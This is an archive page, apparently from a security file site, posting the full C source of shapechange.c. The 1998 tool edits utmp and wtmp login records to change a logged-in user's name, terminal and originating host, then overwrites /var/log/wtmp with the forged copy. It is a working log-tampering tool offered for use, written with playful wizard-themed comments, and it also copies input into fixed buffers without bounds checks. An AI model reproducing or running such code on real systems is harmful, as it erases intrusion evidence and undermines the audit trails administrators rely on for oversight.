what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

shapechange.c

shapechange.c
Posted Sep 23, 1999
Authored by s0ftpj

Utmp editor that permits to change id, tty and host of a user logged in the system. BFi3 8). Linux - c source. Courtesy of soft project digital security for y2k

systems | linux
SHA-256 | 25b88edefcc2babc93951bbaaede6fa44e7e1739c20d5085efb86d3e54354192

shapechange.c

Change Mirror Download
/*
ShapeChange.c - spell of ninth level :) If you're not a wizard, DON'T try
this at home. Lets you disguise as another user :) on
another terminal, from another host. Sorry, no abilities
are attained if you try to disguise as a demigod.
Usage: ShapeChange <user> <new ID> <new tty> <new host> [-w]

This affects UTMP and WTMP [-w]. If you want me to support UTMPX and WTMPX
mantras, supply me with an IRIX wand. :) (or do it yourself).
WTMP magic may not be all that clever to perform. High Priests could get
suspicious. My Warning Is Bestowed Upon Thoust Soul. ;)
Apprentices of the LamA OrdeR : the Utmp,Wtmp reagent must be present and
usable ! Check your Mojo bags and VooRoot mantras.
Or simply cast a +s(pell) to owner root =:)
*/

/*************************************************************************
* Written by fusys no (C)1998 *
* Ideas From Utmp,Wtmp MAN Page and unCommon 20th Sec. Wit *
* Copy And Paste Allowed. For Non-Profit Fun And Learning Purposes. *
* AMEN. *
*************************************************************************/


#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define UTMP "/var/run/utmp" /* you're supposed to check these reagents */
#define WTMP "/var/log/wtmp" /* for the spell to function properly */

int main (int argc, char *argv[])
{

struct utmp ut ;
int size, fin, fout ;
int wspell = 0 ;
char user[10], newuser[10], line[10], host[100] ;

if ((argc!=5) && (argc!=6)) {
fprintf(stderr, "\nShapeChange - no (C)1998 fusys") ;
fprintf(stderr, "\nUsage: %s <user> <new ID> <new tty> <new host> [-w]\n\n", argv[0]) ;
exit (0) ;
}

size=sizeof(ut) ;
strcpy(user, argv[1]) ;
strcpy(newuser, argv[2]) ;
strcpy(line, argv[3]) ;
strcpy(host, argv[4]) ;
if (argv[5]) {
if ((argv[5][0]=='-') && (argv[5][1]=='w')) {
wspell = 1 ;
}
else {
fprintf(stderr, "\nHmmm. Unknown Mantra.\n") ;
exit (0) ;
}
}

fin = open (UTMP, O_RDWR) ;
if (fin < 0) {
fprintf(stderr, "\nLacking Utmp Reagent.\n") ;
exit (0) ;
}
else {

while (read (fin, &ut, size) == size) {
if (!strncmp(ut.ut_user, user, strlen(user))) {
strcpy(ut.ut_user, newuser) ;
strcpy(ut.ut_line, line) ;
strcpy(ut.ut_host, host) ;
lseek(fin, -1*size, SEEK_CUR) ;
write(fin, &ut, size) ;
}
}
close(fin) ;
}

if (wspell) {
fin = open (WTMP, O_RDONLY) ;
fout = open ("wtmp.spell", O_WRONLY|O_CREAT) ;
if (fin < 0) {
fprintf(stderr, "\nLacking Wtmp Reagent.\n") ;
close (fin) ;
}
else if (fout < 0) {
fprintf(stderr, "\nHmm. No Space For Gestures.\n") ;
close (fout) ;
}
else {
while (read (fin, &ut, size) == size) {
if (!strncmp(ut.ut_user, user, strlen(user))) {
strcpy(ut.ut_user, newuser) ;
strcpy(ut.ut_line, line) ;
strcpy(ut.ut_host, host) ;
}
write (fout, &ut, size) ;
}
close (fin) ;
close (fout) ;
}
}

printf("\nSummoning energies ....") ;
printf("\nAsh Nazg durbatuluk, Ash Nazg gimbatul ...") ;
printf("\nAsh Nazg thrakatuluk agh burzum-ishi Krimpatul !\n\n") ;
if (wspell) {
system("/bin/mv wtmp.spell /var/log/wtmp") ;
system("chmod 644 /var/log/wtmp") ;
}
exit (0) ;
}
Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close